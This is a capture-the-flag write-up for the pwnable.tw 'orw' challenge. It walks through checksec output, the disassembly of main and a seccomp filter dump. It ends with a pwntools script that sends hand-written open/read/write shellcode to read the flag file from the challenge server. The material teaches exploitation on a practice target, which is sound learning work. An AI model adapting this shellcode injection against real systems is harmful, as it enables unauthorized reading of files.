orw
orw.md Link to heading
ORW write-up Link to heading
Starting this challenge I ran pwn checksec
on the program to get the info on the security measures for the binary:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
After running the binary I quickly realized these security measures didn’t matter. Running the binary in GDB gave me the functionality of the program: disass main
0x08048548 <+0>: lea ecx,[esp+0x4]
0x0804854c <+4>: and esp,0xfffffff0
0x0804854f <+7>: push DWORD PTR [ecx-0x4]
0x08048552 <+10>: push ebp
0x08048553 <+11>: mov ebp,esp
0x08048555 <+13>: push ecx
0x08048556 <+14>: sub esp,0x4
0x08048559 <+17>: call 0x80484cb <orw_seccomp>
0x0804855e <+22>: sub esp,0xc
0x08048561 <+25>: push 0x80486a0
0x08048566 <+30>: call 0x8048380 <printf@plt>
0x0804856b <+35>: add esp,0x10
0x0804856e <+38>: sub esp,0x4
0x08048571 <+41>: push 0xc8
0x08048576 <+46>: push 0x804a060
0x0804857b <+51>: push 0x0
0x0804857d <+53>: call 0x8048370 <read@plt>
0x08048582 <+58>: add esp,0x10
0x08048585 <+61>: mov eax,0x804a060
0x0804858a <+66>: call eax
0x0804858c <+68>: mov eax,0x0
0x08048591 <+73>: mov ecx,DWORD PTR [ebp-0x4]
0x08048594 <+76>: leave
0x08048595 <+77>: lea esp,[ecx-0x4]
0x08048598 <+80>: ret
Reading this I found that the program quite literally saved your input into memory then called that section of memory. There is also a seccomp function called as well. Seccomp I learned is a function filtering solution that whitelists only certain functions for use within the program. There’s a special tool called seccomp-tools
that allows you to see what functions are allowed in the program.
seccomp-tools dump ./orw
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
This showed me that I needed to use open/read/write in my shellcode to run the program.
So I tried running some shellcode only to find out that the binary they gave me was compiled so that the shellcode was copied into non-executable memory so whenever it gets called it segfaults. I knew that it had to be able to run on the server so I just created some shellcode that would read the contents of /home/orw/flag
into some empty memory then write 40 bytes from the buffer to stdout
so I could read it. After a ton of tweaking of the shellcode, I was able to get a response from the server with the flag.
Program Link to heading
#! /usr/bin/env python
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
shellcode = b"j\x05Xhag\x00\x00hw/flhe/orh/hom1\xc9\x99T[\xcd\x80j\x03Xj\x03[h\x00\xa5\x04\x08Yj2Z\xcd\x80j\x04Xj\x01[h\x00\xa5\x04\x08Yj2Z\xcd\x80"
p = remote("chall.pwnable.tw", 10001)
p.recv()
p.sendline(shellcode)
p.interactive()
In the interactive I was able to get the flag:
[+] Opening connection to chall.pwnable.tw on port 10001: Done
[*] Switching to interactive mode
FLAG{EXAMPLE_FLAG}
\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive